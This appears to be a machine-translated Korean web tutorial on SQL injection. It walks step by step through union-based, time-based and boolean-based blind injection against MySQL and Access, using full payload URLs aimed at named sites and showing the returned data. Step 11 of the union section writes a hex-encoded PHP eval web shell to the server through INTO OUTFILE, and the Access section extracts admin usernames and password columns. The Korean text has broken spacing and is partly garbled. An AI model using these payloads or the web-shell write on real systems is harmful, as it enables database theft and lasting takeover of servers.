[웹 구멍] SQL 주입

목차
Mysql 주입
union query (union 공동 조회)
time - based blind (시간 기반 블라인드)
boolean - based blind (불 형 블라인드 기반)
액세스 주입
boolean - based blind (불 형 블라인드 기반)
Mysql 주입
union query (union 공동 조회)
1. 회 현 정 답
http://www.dandelion.com/about.php?id=15' and 1=1 --+

2. 리 턴 오류, 주입 이 있 음 을 단정 하고 payload 확인
http://www.dandelion.com/about.php?id=15' and 1=2 --+

3. 리 턴 오류, 필드 가 9 보다 작 음
http://www.dandelion.com/about.php?id=15' order by 9 --+

4. 리 턴 이 정확 하고 필드 길이 가 8 입 니 다.
http://www.dandelion.com/about.php?id=15' order by 8 --+

5. 매개 변 수 를 마이너스 (페이지 출력 비우 기) 로 바 꾸 고 공동 조 회 를 구성 합 니 다.
http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,5,6,7,8 --+
  • 출력: 5
  • 6. 사용자 이름, 현재 데이터베이스 이름, 현재 데이터베이스 버 전, 데이터베이스 경로, 운영 체제 유형 조회
    http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,concat_ws('*****',user(),database(),version(),@@datadir,@@version_compile_os),6,7,8 --+
    
  • 출력: dandelionf@localhost*****dandelion*****5.5.42*****/var/lib/mysql/*****Linux

  • 주: 함수 concatstr1, str2, str3) 의 역할 은 str1 로 str2 와 str3 를 분리 하여 출력 하 는 것 이다.
    7. 모든 데이터베이스 이름 조회
    http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,group_concat(schema_name),6,7,8 from information_schema.schemata --+
    
  • 출력: informationschema,dandelion 

  • 주: 함수 groupconcat (str 1) 의 역할 은 한번에 str 1 에 속 하 는 내용 을 출력 하 는 것 이다.
    8. 조회 표 이름
    http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,group_concat(table_name),6,7,8 from information_schema.tables where table_schema='dandelion'--+
    
  • 출력: aboutclass,about_info,ad_flash,hits,message,news_class,news_info,product_class,product_info,qq,seocn_msg,share_info,survey,tp_admin

  • 9. 검색 필드 이름
    http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,group_concat(column_name),6,7,8 from information_schema.columns where table_name='about_class' --+
    
  • 출력: id, cname,c_order

  • 10. 조회 데이터
    http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,group_concat(concat_ws('*****',id,c_name,c_order)),6,7,8 from about_class --+
    
  • 출력: 1 * * * * * 우리 에 관 하여 * * * * * 0, 2 * * * * * 해결 방안 * * * * * 0
  • http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,concat_ws('*****',id,c_name,c_order),6,7,8 from about_class limit 1,1 --+
    
  • 출력: 2 * * * * 해결 방안 * * * * 0
  • 주: 함수 limit int 1, int2 의 역할 은 출력 위치 int 1 이 시 작 된 후 int2 줄 데이터 입 니 다.
    11. 웹 셸 에 쓰기
    http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,0x73656c65637420223c3f70687020406576616c28245f504f53545b27313233275d293b3f3e2220696e746f206f757466696c652022433a5c5c7777775c5c7765627368656c6c2e70687022,6,7,8 --+
  • 출력: select "" into outfile "C: \ \ www \ \ webshell. php"
  • time - based blind (시간 기반 블라인드)
    1. 시간 주입 이 존재 하 는 지 테스트 하고 존재 하면 응답 을 지연 시 킵 니 다. 약 2s + 입 니 다. 그렇지 않 으 면 1s 보다 적 습 니 다.
    http://www.dandelion.com/about.php?id=15 and sleep(2) --+
    
  • 응답 시간: 455 ms, 닫 히 지 않 아 주입 오류
  • http://www.dandelion.com/about.php?id=15' and sleep(2) --+
    
  • 응답 시간: 2.10 s, 주입 성공
  • 2. 데이터베이스 이름 의 길 이 를 추측 하고 테스트 를 통 해 서로 다른 기 호 를 사용 할 수 없습니다.
    http://www.dandelion.com/about.php?id=15' and sleep(if(length(database())=9,2,0)) --+
    
  • 응답 시간: 2.45s
  • 3. 데이터베이스 이름 의 첫 번 째 문 자 를 추측 합 니 다.
    http://www.dandelion.com/about.php?id=15' and sleep(if(ascii(substr(database(),1,1))=100,2,0)) --+
    
  • 응답 시간: 2.89s, 유추 하여 데이터베이스 이름 을 dandelion
  • 으로 측정 할 수 있 습 니 다.
    주: 함수 substr (str1, int1, int2) 의 역할 은 str 1 이 int1 위치 에서 시 작 된 후 int2 문 자 를 출력 하 는 것 입 니 다.
    4. 첫 번 째 표 이름 의 길 이 를 추측 합 니 다.
    http://www.dandelion.com/about.php?id=15' and sleep(if(length((select table_name from information_schema.tables where table_schema='dandelion' limit 0,1))=11,2,0)) --+
    
  • 응답 시간: 2.55s
  • 주: limit 를 포함 한 전체 문장 (이미 어떤 함수 에 묶 여 있 더 라 도) 은 괄호 를 따로 넣 는 것 이 좋 습 니 다. 그렇지 않 으 면 실행 에 실패 할 수도 있 습 니 다.
    5. 첫 번 째 표 이름 의 첫 번 째 문 자 를 추측 합 니 다.
    http://www.dandelion.com/about.php?id=15' and sleep(if(ascii(substr((select table_name from information_schema.tables where table_schema='dandelion' limit 0,1),1,1))=97,2,0)) --+
    
  • 응답 시간: 2.66s, 유추 표 이름 은 aboutclass

  • 6. 첫 번 째 열 이름 의 길 이 를 추측 합 니 다.
    http://www.dandelion.com/about.php?id=15' and sleep(if(length((select column_name from information_schema.columns where table_name='about_class' limit 0,1))=2,2,0)) --+
    
  • 응답 시간: 2.96s
  • 7. 첫 번 째 열 이름 의 첫 번 째 문 자 를 추측 합 니 다.
    http://www.dandelion.com/about.php?id=15' and sleep(if(ascii(substr((select column_name from information_schema.columns where table_name='about_class' limit 0,1),1,1))=105,2,0)) --+
    
  • 응답 시간: 2.97s, 유추 하여 열 이름 을 id
  • 로 측정 할 수 있 습 니 다.
    8. 첫 번 째 줄 데이터 의 길 이 를 추측 합 니 다.
    http://www.dandelion.com/about.php?id=15' and sleep(if(length((select id from about_class limit 0,1))=1,2,0)) --+
    
  • 응답 시간: 2.88s
  • 9. 첫 번 째 줄 데이터 의 첫 번 째 문 자 를 추측 합 니 다.
    http://www.dandelion.com/about.php?id=15' and sleep(if(ascii(substr((select id from about_class limit 0,1),1,1))=49,2,0)) --+
    
  • 응답 시간: 2.93s, 유추 측정 값 은 1
  • boolean - based blind (불 형 블라인드 기반)
    1. 주입 여 부 를 판단 하고 payload
    http://www.dandelion.com/about.php?id=15' and 1=1 --+
    
  • 데이터 재생 여부: 예
  • http://www.dandelion.com/about.php?id=15' and 1=2 --+
    
  • 데이터 반환 여부: 여부
  • 2. 데이터베이스 길이 판단
    http://www.dandelion.com/about.php?id=15' and length(database())>8 --+
    
  • 데이터 재생 여부: 예
  • http://www.dandelion.com/about.php?id=15' and length(database())>9 --+
    
  • 데 이 터 를 재생 할 지 여부: 아니오, 데이터베이스 길이 가 9
  • 임 을 알 수 있 습 니 다.
    3. 데이터베이스 첫 번 째 문자 판단
    http://www.dandelion.com/about.php?id=15' and ascii(substr(database(),1,1))>99 --+
    
  • 데이터 재생 여부: 예
  • http://www.dandelion.com/about.php?id=15' and ascii(substr(database(),1,1))>100 --+
    
  • 데 이 터 를 표시 할 지 여부: 아니요, 데이터베이스 의 첫 번 째 문 자 는 d 입 니 다. 유추 해 보면 데이터베이스 이름 은 dandelion
  • 입 니 다.
    4. 첫 번 째 표 이름 길이 판단
    http://www.dandelion.com/about.php?id=15' and length((select table_name from information_schema.tables where table_schema='dandelion' limit 0,1))>11 --+
    
  • 데이터 반환 여부: 여부
  • http://www.dandelion.com/about.php?id=15' and length((select table_name from information_schema.tables where table_schema='dandelion' limit 0,1))>10 --+
    
  • 데 이 터 를 표시 할 지 여부: 네, 첫 번 째 표 이름 의 길 이 는 11
  • 입 니 다.
    5. 첫 번 째 표 이름 의 첫 번 째 문 자 를 판단 합 니 다.
    http://www.dandelion.com/about.php?id=15' and ascii(substr((select table_name from information_schema.tables where table_schema='dandelion' limit 0,1),1,1))>97 --+
    
  • 데이터 반환 여부: 여부
  • http://www.dandelion.com/about.php?id=15' and ascii(substr((select table_name from information_schema.tables where table_schema='dandelion' limit 0,1),1,1))>96 --+
    
  • 데 이 터 를 표시 할 지 여부: 예, 첫 번 째 표 이름 의 첫 번 째 문 자 는 a 이 고 유추 해 보면 표 이름 은 about 입 니 다.class

  • 6. 첫 번 째 열 이름 의 길 이 를 판단 합 니 다.
    http://www.dandelion.com/about.php?id=15' and length((select column_name from information_schema.columns where table_name='about_class' limit 0,1))>2--+
    
  • 데이터 반환 여부: 여부
  • http://www.dandelion.com/about.php?id=15' and length((select column_name from information_schema.columns where table_name='about_class' limit 0,1))>1--+
    
  • 데 이 터 를 표시 할 지 여부: 예, 첫 번 째 열 이름 의 길 이 는 2
  • 입 니 다.
    7. 첫 번 째 열 이름 의 첫 번 째 문 자 를 판단 합 니 다.
    http://www.dandelion.com/about.php?id=15' and ascii(substr((select column_name from information_schema.columns where table_name='about_class' limit 0,1),1,1))>105 --+
    
  • 데이터 반환 여부: 여부
  • www.dandelion.com/about.php?id=15' and ascii(substr((select column_name from information_schema.columns where table_name='about_class' limit 0,1),1,1))>104 --+
    
  • 데 이 터 를 표시 할 지 여부: 예, 첫 번 째 열 이름 의 첫 번 째 문 자 는 i 입 니 다. 유추 해 보면 첫 번 째 열 이름 은 id
  • 입 니 다.
    8. id 열 첫 번 째 줄 데이터 의 길 이 를 판단 합 니 다.
    http://www.dandelion.com/about.php?id=15' and length((select id from about_class limit 0,1))>0 --+
    
  • 데이터 재생 여부: 예
  • http://www.dandelion.com/about.php?id=15' and length((select id from about_class limit 0,1))>1 --+
    
  • 데 이 터 를 표시 할 지 여부: 아 닙 니 다. id 열 첫 번 째 줄 데이터 의 길 이 는 1
  • 입 니 다.
    9. id 열 첫 번 째 줄 데 이 터 를 판단 하 는 첫 번 째 문자
    http://www.dandelion.com/about.php?id=15' and ascii(substr((select id from about_class limit 0,1),1,1))>48 --+
    
  • 데이터 재생 여부: 예
  • http://www.dandelion.com/about.php?id=15' and ascii(substr((select id from about_class limit 0,1),1,1))>49 --+
    
  • 데 이 터 를 표시 할 지 여부: 아 닙 니 다. id 열 첫 번 째 줄 데이터 의 값 은 1
  • 입 니 다.
     
    액세스 주입
    boolean - based blind (불 형 블라인드 기반)
    1. 주입 및 payload 확인 
    http://www.liang.com/products_detail.asp?id=1762 and 1=1
    
  • 반환 상태 코드: 200 
  • http://www.liang.com/products_detail.asp?id=1762 and 1=2
    
  • 반환 상태 코드: 500
  • 2. 시계 이름 맞 히 기
    http://www.liang.com/products_detail.asp?id=1762 and exists(select * from liang)
    
  • 반환 상태 코드: 200, 표 이름 은 liang
  • 3. 열 명 맞 히 기
    http://www.liang.com/products_detail.asp?id=1762 and exists(select username from liang)
    
  • 반환 상태 코드: 200 
  • http://www.liang.com/products_detail.asp?id=1762 and exists(select password from liang)
    
  • 상태 코드 되 돌려 주기: 200, 사용자 name, password
  • 4. username 의 첫 번 째 줄 데이터 의 길 이 를 맞 춥 니 다.
    http://www.liang.com/products_detail.asp?id=1762 and (select top 1 len(username) from liang)=5
    
  • 상태 코드 되 돌려 주기: 200, 열 username 의 첫 번 째 줄 데이터 의 길 이 는 5
  • 입 니 다.
    5. username 의 첫 번 째 줄 데이터 의 값 을 맞 추 는 첫 번 째 문자
    http://www.liang.com/products_detail.asp?id=1762 and(select top 1 asc(mid(username,1,1)) from liang)=97
    
  • 상태 코드 되 돌려 주기: 200, 열 username 의 첫 번 째 줄 데이터 의 값 의 첫 번 째 문 자 는 a 이 고, 유추 할 수 있 는 값 은 admin
  • 입 니 다.
    주: 함수 asc () 는 my sql 에서 ascii () 와 역할 이 같 고 mid () 는 my sql 에서 substr () 와 역할 이 같 습 니 다.

    좋은 웹페이지 즐겨찾기